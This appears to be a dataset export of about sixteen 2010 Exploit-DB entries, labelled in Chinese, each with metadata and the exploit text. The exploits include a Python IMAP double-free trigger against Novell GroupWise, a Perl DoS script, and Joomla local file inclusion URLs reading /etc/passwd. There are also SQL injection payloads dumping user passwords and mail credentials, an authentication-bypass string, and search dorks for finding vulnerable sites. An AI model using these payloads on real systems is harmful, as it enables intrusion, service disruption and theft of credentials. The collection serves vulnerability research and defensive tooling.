QLWD/code_shield huggingface dataset:
标题: Novell Groupwise Internet Agent - IMAP 'LIST' Remote Code Execution EDB-ID: 15463 CVE: 2010-4711 类型: DOS 平台: LINUX 发布日期: 2010-11-09 漏洞利用脚本: #####################################################################################

Application:   {PRL} Novell Groupwise Internet Agent IMAP LIST Command Remote Code Execution Vulnerability
Platforms:   Linux

Exploitation:   Remote code execution

CVE Number: Pending

Novell TID:   7007151

ZeroDayInitiative: ZDI-10-242

Author:   Francis Provencher (Protek Research Lab's) 

Blog:   http://www.protekresearchlab.com/

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The
company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell
NetWare; identity, security, and systems management solutions; and collaboration solutions,
such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a
focus for technology and software development. Novell technology contributed to the emergence
of local area networks, which displaced the dominant mainframe computing model and changed 
computing worldwide. Today, a primary focus of the company is on developing open source software
for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Report Timeline
============================

2010-07-20 Vendor Contact by Tippingpoint
2010-11-08 Vendor release advisory


#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations 
of Novell Groupwise Internet Agent. Authentication is not required to exploit this vulnerability.

The flaw exists within the IMAP server component which listens by default on TCP port 143. When
handling an IMAP LIST command with a large parameter the process attempts to free the same memory
twice. A remote attacker can exploit this vulnerability to execute arbitrary code under the 
context of the IMAP server.

#####################################################################################

===========
4) The Code
===========


#!/usr/bin/python
#
# Francis Provencher
# Protek Research Lab.
#
#


import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 56000

s.connect(('192.168.100.177',143))
s.recv(1024)
s.send('A001 LOGIN test test \r\n')
s.recv(1024)
s.send('A001 SUBSCRIBE ' + buffer + '\r\n')
s.recv(1024)
s.close()


#####################################################################################
(PRL-2010-07) URL: https://www.exploit-db.com/exploits/15463
标题: Joomla! Component ProDesk 1.5 - Local File Inclusion EDB-ID: 15460 CVE: 2008-6222 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-08 漏洞利用脚本: [~]-------------------------------------------------------------------------------------------------------
[~] Joomla Component ProDesk v 1.5 (com_pro_desk&include_file) Local File Inclusion  
[~]
[~] http://joomlashowroom.com
[~]  
[~] Price - $ 49.99
[~] ----------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 7.11.2010
[~]
[~] http://security-sh3ll.blogspot.com | http://twitter.com/securityshell
[~]
[~] -----------------------------------------------------------------------------------------------------
[~] Poc :-
[~]
[~] http://site.com/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd
[~]  
[~] Note :-
[~]
[~] Need: magic_quotes=OFF - Need: disable_functions=ini_set
[~]------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15460
标题: ASPilot Pilot Cart 7.3 - Multiple Vulnerabilities EDB-ID: 15448 CVE: 2010-4632 2010-4631 2008-2688 类型: WEBAPPS 平台: ASP 发布日期: 2010-11-07 漏洞利用脚本: # Title: [ASPilot Pilot Cart 7.3 multiple vulnerabilities]
# Date: [07.11.2010]
# Author: [Ariko-Security]
# Software Link: [http://www.pilotcart.com]
# Version: [7.3]

# CVE Reference: CVE-2008-2688 (only 1 SQL injection) 
# EDB-ID: 5765 (only 1 SQL injection)


# Ariko-Security: Security Audits , Audyt bezpieczeństwa
# Advisory: 745/2010

============ { Ariko-Security - Advisory #1/11/2010 } =============

ASPilot Pilot Cart 7.3 multiple vulnerabilities

Vendor's Description of Software and demo:
# http://www.pilotcart.com

Dork:
# Powered by Pilot Cart V.7.3

Application Info:
# Name: Pilot Cart 
# version last 7.3

Vulnerability Info:
# Type: multiple SQL injections, multiple XSS, multiple iFrame injections, multiple link injections.

Time Table:
# 29/10/2010 - Vendor notified.

Fix:
# n/a

5x SQL injection

Input passed via the "article" parameter to pilot.asp and kb.asp is not properly
sanitised before being used in a SQL query.
Input passed via the "specific" parameter to cart.asp is not properly
sanitised before being used in a SQL query.
Input passed via the "countrycode" parameter to contact.asp is not properly
sanitised before being used in a SQL query.
Input passed via the "srch" parameter to search.asp is not properly
sanitised before being used in a SQL query.

5x link injections, 5x XSS, 5xiFrame injections.

Input passed to the "countrycode" parameter in contact.asp is not properly
sanitised before being returned to the user.

Input passed to the "USERNAME" parameter in gateway.asp and cart.asp is not properly
sanitised before being returned to the user.

Input passed to the "specific" parameter in quote.asp and buyitnow.asp is not properly
sanitised before being returned to the user.

Link injections:
http://server/contact.asp
countrycode=[link]
http://server/gateway.asp 
USERNAME=[link]
http://www.pilotcart.com/quote.asp 
specific=[link]

http://server/cart.asp?mode=checklogin
[POST] USERNAME=[link]
http://www.pilotcart.com/buyitnow.asp?doit=yes
[POST] specific=[link]

XSS:
http://server/contact.asp
countrycode=XSS
http://server/gateway.asp 
USERNAME=XSS
http://server/quote.asp
specific=XSS

http://server:80/cart.asp?mode=checklogin
[POST] USERNAME=XSS
http://server:80/buyitnow.asp?doit=yes
[POST] specific=XSS

iFrame Injections:
http://servercontact.asp 
countrycode=[iFrame]
http://server/gateway.asp 
USERNAME=[iFrame]
http://server/quote.asp
specific=[iFrame]

http://server:80/cart.asp?mode=checklogin
[POST] USERNAME=[iFrame]
http://server:80/buyitnow.asp?doit=yes
[POST] specific=[iFrame]



Solution:
# Input validation of all vulnerable parameters should be corrected.

Credit:
# Discoverd By: Maciej Gojny / Ariko-Security 2010
Advisory:
http://advisories.ariko-security.com/november/audyt_bezpieczenstwa_745.html

Ariko-Security Sp. z o.o.
Rynek Glowny 12
32-600 Oswiecim
tel:. +48 33 4741511 mobile: +48 784086818
(Mo-Fr 10.00-20.00 CET) URL: https://www.exploit-db.com/exploits/15448
标题: Joomla! Component Cookex Agency CKForms - Local File Inclusion EDB-ID: 15453 CVE: 2010-1345 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-08 漏洞利用脚本: ####################################################################
>>>>> Author : altbta [l_9@hotmail.com<mailto:l_9@hotmail.com>]
>>>>> Home : www.v4-team.com/cc<http://www.v4-team.com/cc>
>>>>> Script : Joomla Component com_ckforms
>>>>> Bug Type : Multiple Vulnerabilities
>>>>> Dork : inurl:"com_ckforms"

http://extensions.joomla.org/extensions/contacts-and-feedback/forms/4939
####################################################################

===[ Exploit ]=== [LFI]

http://site/index.php?option=com_ckforms&controller=[LFI]
http://site.com/index.php?option=com_ckforms&controller=../../../.
./../../../../../../etc/passwd%00

####################################################################
RxH & ab0-3th4b URL: https://www.exploit-db.com/exploits/15453
标题: Joomla! Component ccInvoices - SQL Injection EDB-ID: 15430 CVE: 2010-4853 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-05 漏洞利用脚本: <------------------- header data start ------------------- >
#############################################################
Joomla Component ccinvoices SQL Injection Vulnerability                                      
#############################################################

# Author        : Fl0riX ~ Bug Researchers

# Name : Joomla com_ccinvoices

# Bug Type : SQL injection

# Infection : Admin Login Bilgileri Alinabilir.

# Vendor: http://www.chillcreations.com/

# Demo Vuln :
[+]index.php?option=com_ccinvoices&task=viewInv&id=[EXPLOIT]

# Note: register in site & Login with ur account.

# Bug Fix Advice : Zararli Karakterler Filtrenmelidir.
#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
EXPLOIT :
null+and+1=0+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
< -- bug code end of -- > URL: https://www.exploit-db.com/exploits/15430
标题: Sami HTTP Server 2.0.1 - GET Denial of Service EDB-ID: 15422 CVE: 2007-0548 类型: DOS 平台: WINDOWS 发布日期: 2010-11-05 漏洞利用脚本: #!/usr/bin/perl
# Exploit Titel: Sami HTTP Server 2.0.1 GET Request Denial of Service Exploit
# Date: 25.10.10
# Tool: Sami HTTP Server -- Version: 2.0.1 
# Vendor-Website: http://www.karjasoft.com/old.php
# Download Link: http://www.karjasoft.com/files/samihttp/samihttpd_install.exe
# Author: wingthor
# Author-Website (German): http://www.wingthor.de
# Author-Email: exploit@wingthor.de
# Tested on: Windows XP SP3 
# Type: DOS/POC


use IO::Socket;

$target = "127.0.0.1";
$port   = 80;

$payload = "GET /%n%n%n%n%n HTTP/1.1\r\n\r\n";

$sock = IO::Socket::INET->new(Proto=>'tcp', PeerHost=>$target, PeerPort=>$port) or die "Error: $target:$port\n";

$sock->send($payload);

close($sock); URL: https://www.exploit-db.com/exploits/15422
标题: Acrobat Reader 9.4 - Memory Corruption EDB-ID: 15419 CVE: 2010-4091 类型: DOS 平台: WINDOWS 发布日期: 2010-11-04 漏洞利用脚本: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15419.bin (xpl_pdf.bin)

http://extraexploit.blogspot.com/2010/11/full-disclosure-xplpdf-adober-reader-94.html URL: https://www.exploit-db.com/exploits/15419
标题: Adobe Flash - ActionIf Integer Denial of Service EDB-ID: 15426 CVE: 2010-3639 类型: DOS 平台: WINDOWS 发布日期: 2010-11-05 漏洞利用脚本: Adobe Flash Integer Overflow 
Author: Matthew Bergin
Date: June 15, 2010
Versions Affected: Flash10e.ocx v10.0.45.2
     Flash10c.ocx v10.0.32.18 r32
Root Cause: ActionScript, "ActionIf"
Affect: Denial-of-Service, possible Command Execution
CVE: CVE-2010-3639
Desc: When Parsing an ActionIf ActionScript statement four args are passed
      to the function, an integer named i , a ubyte named ActionCode, a ushort
      named Length, and a short named BranchOffset. If the BranchOffset is -305 or 
      smaller it will cause an Access Violation when reading data from a 
      invalid memory address. The last 16-bits of the address are controlable
      with the size of the BranchOffset argument. Any data which is in a valid
      segment of memory near the controlled address can be read causing Memory
      Disclosure. This would be used well in combination with a memory corruption
      vulnerability in order to bypass ASLR. 

      In doing my initial research I found a lot of interesting things along the way.
      Flash10c is not vulnerable in the same way Flash10e is. I initially discovered
      the integer overflow in Flash10c while fuzzing SWF. I didnt fuzz it via a web
      browser but instead used a free application which uses the modules in a more
      direct manner. Flash10c is not able to be attacked via a browser as far as I
      have been able to tell. However, I have found during my research that Flash10e
      is loaded as a module when any Flash object is encountered. I am unsure as to
      if this is a configuration issue or not. In addition to this, while debugging
      this issue I found that both versions have a self-changing CRC which inhibits
      keeping break points set.

      Another interesting note is that when confirming the PoC on Flash Movie Player
      i noticed that if you open the file with the File -> Open drop down menu, the
      PoC will not hit the vulnerable code causing a crash. However, if you register
      the swf extension to Flash Movie Player and "double-click" the PoC file to run
      it, Flash Movie Player will hit the vulnerable code every time. 

      The PoC code would be best embedded into HTML for remote attacks but can be
      attacked in any manner in which Flash10c.ocx/Flash10e.ocx are loaded as modules
      into memory.


Fuzzed Application: EolSoft Flash Movie Player (downloads.cnet.com) v1.5

Crash Details:

Access Violation
Exception caught at 1009cb23 mov al,[eax+ecx]
EAX:0267010c EBX:00e990b4 ECX:fffffef3 EDX:00e9b038
ESI:00e80000 EDI:00e990b0 ESP:0012f780 EBP:0012f99c

Reversing:

struct SWFTAG Tag[7], value DoAction
struct ACTIONRECORD ActionTag[6], value ActionIf, starts @ E3h size 5h
int i, value 0
ubyte ActionCode, value 157
ushort Length, value 2
short BranchOffset, value -305

BranchOffset is located @ E6h-E7h

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15426.rar (adobe_flash_int_ovrflw_poc.rar) URL: https://www.exploit-db.com/exploits/15426
标题: Microsoft Internet Explorer - Memory Corruption EDB-ID: 15418 CVE: 2010-3962 类型: DOS 平台: WINDOWS 发布日期: 2010-11-04 漏洞利用脚本: <html>
<table style=position:absolute;clip:rect(0)>
</html> URL: https://www.exploit-db.com/exploits/15418
标题: Site2Nite Business eListings - SQL Injection EDB-ID: 15399 CVE: 2010-4636 类型: WEBAPPS 平台: ASP 发布日期: 2010-11-02 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Site2nite Businesses For Sale Listings SQL injection
Version:FSBO
Price:100$
Vendor url:http://www.site2nite.com/
Published: 2010-11-02
Thanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic, M4n0j,SeeMe, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com)
Special Greetz: Topsecure.net,0xr00t.com,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Description:

List businesses for sale by owner and broker at prices you determine.
?8 pics per listing, advanced Search, detailed listings, full admin control panel.
After sales support at no charge.
Code: ASP 3.0 & VBScri
?
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Vulnerability:

*SQL injection Vulnerability*

DEMO URL :

http://server/detail.asp?ID=[SQLi]

.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
# 0day n0 m0re #
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.


-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/15399
标题: digiSHOP 2.0.2 - SQL Injection EDB-ID: 15405 CVE: 2010-4633 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-03 漏洞利用脚本: -----------------------------------
               TM   |
  ___ ___          _______    |
 |   Y   | ______ |       |   |
 |.  1   ||______||.|   | |   |
 |.  _   |        `-|.  |-'   |
 |:  |   |          |:  |     |
 |::.|:. |          |::.|     |
 `--- ---'          `---'     |
 Private Place Of 0days    |
-----------------------------------
 
^Exploit Title  : 
^Date        : 23/7/2010
^Vendor Site    : http://digishop.digisoft77.com/
^MOD Version    : digiSHOP 2.0.2
^Author         : Silic0n (science_media017[At]yahoo.com)
^Team Site   : www.hacking-truths.net
^Dork  : inurl:cart.php?m=features&id=
------------------------------------------------------------------------------
Special Thnanks To Jackh4x0r , Gaurav_raj420 , Mr 52 (7) , Dalsim , Zetra , haZl0oh , root4o, Belma(sweety) ,Danzel, 
messsy , ,abronsius ,Nova ,ConsoleFx , Exi , Beenu , R4cal , jaya ,@ry@n,[]0iZy5 & All my friends .
 
My Frnd Site : www.igniteds.net , www.anti-intruders.org (Will Be Up Very Soon) 
----------------------------------->Exploit<----------------------------------
 
0x1: Goto http://{localhost}/{Shop path}/cart.php?m=features&id=-15+Union+Select+1,2,@@version,4,5,6,7

MySql Version : 4.1.22-log 

Now Use Brain.Exe (7) To extract the Other information 
this exploit is only education Purpose only ,author or team member is not responsible for any harm

------------------------------------------------------------------------------ URL: https://www.exploit-db.com/exploits/15405
标题: Online Work Order System (OWOS) Professional Edition - Authentication Bypass EDB-ID: 15397 CVE: 2010-4186 类型: WEBAPPS 平台: ASP 发布日期: 2010-11-02 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Onlinetechtools OWOS: Professional Edition? Authentication Bypass Vulnerability
Version:2.10
Price:900$
Vendor url:http://www.onlinetechtools.com
Published: 2010-11-02
Thanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic, M4n0j,SeeMe, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com)
Special Greetz: Topsecure.net,0xr00t.com,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Description:

Work smarter with OWOS: Professional Edition, the web-based help desk solution.
OWOS Pro helps you simplify support requests, e-mail communication, organize planning and scheduling,
and provide powerful access to the information you need. Code: ASP 3.0 & VBScript
?
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Vulnerability:

*Authentication ByPass Vulnerability*

Pattern: ' or 1=1 or ''=''



.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
# 0day n0 m0re #
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.

-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/15397
标题: Site2Ntite Vacation Rental (VRBO) Listings - SQL Injection EDB-ID: 15395 CVE: 2010-4635 类型: WEBAPPS 平台: ASP 发布日期: 2010-11-02 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Site2nite Vacation Rental (VRBO) Listings SQL injection Vulnerability
Version:FSBO
Price:100$
Vendor url:http://www.site2nite.com/
Published: 2010-11-02
Thanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic, M4n0j,SeeMe, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com)
Special Greetz: Topsecure.net,0xr00t.com,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Description:

Unlimited Vacation Rental Listings
Vacation Rentals are listed with thumbnail picture, location, price, and link to detail,
?to allow visitors to quickly browse to the rentals they are interested in.

Vacation Rental Detail
Detailed rental information is displayed to visitors when they click on a rental they are interested in with bigger picture,
additional pictures, description, features, additional information, price, location, etc.
?
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Vulnerability:

*SQL injection Vulnerability*

DEMO URL :

http://server/detail.asp?ID=[SQLi]

.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
# 0day n0 m0re #
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.


-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/15395
标题: Collabtive 0.65 - SQL Injection EDB-ID: 15381 CVE: 2010-4269 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-01 漏洞利用脚本: ANATOLIA SECURITY ADVISORY
---------------------------

### ADVISORY INFO ###
+ Title: Collabtive SQL Injection Vulnerability
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-004.txt
+ Advisory ID:  2010-004
+ Version: 0.65
+ Date: 12/10/2010
+ Impact: Improper Neutralization of Special Elements used in an SQL Command 
+ CWE-ID: 89
+ Credit: Anatolia Security 



### VULNERABLE PRODUCT ###
+ Description: "Collabtive provides a web based platform to bring the project 
management process and documentation online. Collabtive is an open source solution 
with features and functionality similar to proprietary software such as BaseCamp."
+ Homepage: http://www.collabtive.com



### VULNERABILITY DETAILS ###
+ Description: Collabtive has "union" type SQL injection vulnerability. In "managechat.php" when the value of parameter "actions" equal to "pull"
application gets value of the cookie named like chatstart[USERTOID]. Application apply mysql_real_escape_string function to same variable but 
include it without quotes. So mysql_real_escape_string function can't provide any security in this case. Attacker can exploit this vulnerability
for executing arbitrary sql codes.


+ Exploit/POC:
Set up cookie value to payload (*) and visit "managechat.php?action=pull".

(*) Payload: 1286742168 AND 1337=9 union select 1,2,3,4,5,6,concat_ws(0x3a,mailuser,mailpass) from settings limit 1--++owned URL: https://www.exploit-db.com/exploits/15381
标题: Joomla! Component Sponsor Wall 1.1 - SQL Injection EDB-ID: 15367 CVE: 2010-4272 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-31 漏洞利用脚本: ============================================================
Joomla Component com_sponsorwall SQL Injection Vulnerability       
============================================================

# Author        : Fl0riX ~ Bug Researchers

# Name : Joomla com_sponsorwall

# Bug Type : SQL injection

# Infection : Admin Login Bilgileri Alinabilir.

# Demo Vuln :
[+]index.php?option=com_sponsorwall&controller=sponsorwall&catid=[EXPLOIT]

[+]Vendor:http://www.pulseextensions.com/

# Note: AsDemo Sitede Filtre Var Haberiniz olsun :)

# Bug Fix Advice : Zararli Karakterler Filtrenmelidir.
######### ####################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
EXPLOIT :
null+and+1=0+union+select+1,2,concat(username,0x3a,password)fl0rix,4,5,6,6,7,8,9,10+from+jos_users--
< -- bug code end of -- > URL: https://www.exploit-db.com/exploits/15367